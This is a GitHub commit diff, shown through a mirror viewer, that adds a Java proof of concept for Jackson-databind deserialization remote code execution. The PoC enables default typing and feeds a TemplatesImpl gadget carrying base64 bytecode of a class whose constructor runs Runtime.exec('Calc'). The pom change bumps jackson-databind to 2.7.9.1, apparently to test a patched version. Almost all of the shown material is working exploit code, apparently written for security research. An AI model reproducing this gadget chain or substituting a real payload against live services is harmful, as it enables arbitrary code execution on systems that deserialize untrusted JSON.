| FazBrowse GitHub Viewer | Trending | | Home |
| Tools: [Download Repo ZIP] [Original HTTPS Page] |
| Original file line number | Diff line number | Diff line change | |
|---|---|---|---|
@@ -10,7 +10,7 @@ | |||
| 10 | 10 | <dependency> | |
| 11 | 11 | <groupId>com.fasterxml.jackson.core</groupId> | |
| 12 | 12 | <artifactId>jackson-databind</artifactId> | |
| 13 | - <version>2.7.9</version> | ||
| 13 | + <version>2.7.9.1</version> | ||
| 14 | 14 | </dependency> | |
| 15 | 15 | <dependency> | |
| 16 | 16 | <groupId>com.fasterxml.jackson.core</groupId> | |
@@ -24,4 +24,19 @@ | |||
| 24 | 24 | </dependency> | |
| 25 | 25 | ||
| 26 | 26 | </dependencies> | |
| 27 | + <build> | ||
| 28 | + <plugins> | ||
| 29 | + <!--compiler插件--> | ||
| 30 | + <plugin> | ||
| 31 | + <groupId>org.apache.maven.plugins</groupId> | ||
| 32 | + <artifactId>maven-compiler-plugin</artifactId> | ||
| 33 | + <version>3.6.1</version> | ||
| 34 | + <configuration> | ||
| 35 | + <source>1.7</source> | ||
| 36 | + <target>1.7</target> | ||
| 37 | + <encoding>${file.encoding}</encoding> | ||
| 38 | + </configuration> | ||
| 39 | + </plugin> | ||
| 40 | + </plugins> | ||
| 41 | + </build> | ||
| 27 | 42 | </project> | |
| Original file line number | Diff line number | Diff line change | |
|---|---|---|---|
@@ -0,0 +1,44 @@ | |||
| 1 | + package com.drunkbaby; | ||
| 2 | + | ||
| 3 | + import com.fasterxml.jackson.databind.ObjectMapper; | ||
| 4 | + | ||
| 5 | + import javax.xml.bind.DatatypeConverter; | ||
| 6 | + import java.io.FileInputStream; | ||
| 7 | + import java.io.*; | ||
| 8 | + | ||
| 9 | + public class PoC { | ||
| 10 | + public static void main(String[] args) throws Exception { | ||
| 11 | + String exp = readClassStr("E:\\evilClass\\SimpleCalc.class"); | ||
| 12 | + String jsonInput = aposToQuotes("{\"object\":['com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl',\n" + | ||
| 13 | + "{\n" + | ||
| 14 | + "'transletBytecodes':['"+exp+"'],\n" + | ||
| 15 | + "'transletName':'drun1baby',\n" + | ||
| 16 | + "'outputProperties':{}\n" + | ||
| 17 | + "}\n" + | ||
| 18 | + "]\n" + | ||
| 19 | + "}"); | ||
| 20 | + System.out.printf(jsonInput); | ||
| 21 | + ObjectMapper mapper = new ObjectMapper(); | ||
| 22 | + mapper.enableDefaultTyping(); | ||
| 23 | + Test test; | ||
| 24 | + try { | ||
| 25 | + test = mapper.readValue(jsonInput, Test.class); | ||
| 26 | + } catch (Exception e) { | ||
| 27 | + e.printStackTrace(); | ||
| 28 | + } | ||
| 29 | + } | ||
| 30 | + | ||
| 31 | + public static String aposToQuotes(String json){ | ||
| 32 | + return json.replace("'","\""); | ||
| 33 | + } | ||
| 34 | + | ||
| 35 | + public static String readClassStr(String cls) throws Exception{ | ||
| 36 | + | ||
| 37 | + File file = new File(cls); | ||
| 38 | + FileInputStream fileInputStream = new FileInputStream(file); | ||
| 39 | + byte[] bytes = new byte[(int) file.length()]; | ||
| 40 | + fileInputStream.read(bytes); | ||
| 41 | + String base64Encoded = DatatypeConverter.printBase64Binary(bytes); | ||
| 42 | + return base64Encoded; | ||
| 43 | + } | ||
| 44 | + } | ||
| Original file line number | Diff line number | Diff line change | |
|---|---|---|---|
@@ -0,0 +1,25 @@ | |||
| 1 | + package com.drunkbaby; | ||
| 2 | + | ||
| 3 | + import com.sun.org.apache.xalan.internal.xsltc.DOM; | ||
| 4 | + import com.sun.org.apache.xalan.internal.xsltc.TransletException; | ||
| 5 | + import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; | ||
| 6 | + import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; | ||
| 7 | + import com.sun.org.apache.xml.internal.serializer.SerializationHandler; | ||
| 8 | + | ||
| 9 | + public class SimpleCalc extends AbstractTranslet { | ||
| 10 | + public SimpleCalc() throws Exception { | ||
| 11 | + Runtime.getRuntime().exec("Calc"); | ||
| 12 | + } | ||
| 13 | + | ||
| 14 | + @Override | ||
| 15 | + public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { | ||
| 16 | + | ||
| 17 | + } | ||
| 18 | + | ||
| 19 | + @Override | ||
| 20 | + public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { | ||
| 21 | + | ||
| 22 | + } | ||
| 23 | + | ||
| 24 | + | ||
| 25 | + } | ||
| Original file line number | Diff line number | Diff line change | |
|---|---|---|---|
@@ -0,0 +1,5 @@ | |||
| 1 | + package com.drunkbaby; | ||
| 2 | + | ||
| 3 | + public class Test { | ||
| 4 | + public Object object; | ||
| 5 | + } | ||
| Back | FazBrowse Home | New Git URL |
0 commit comments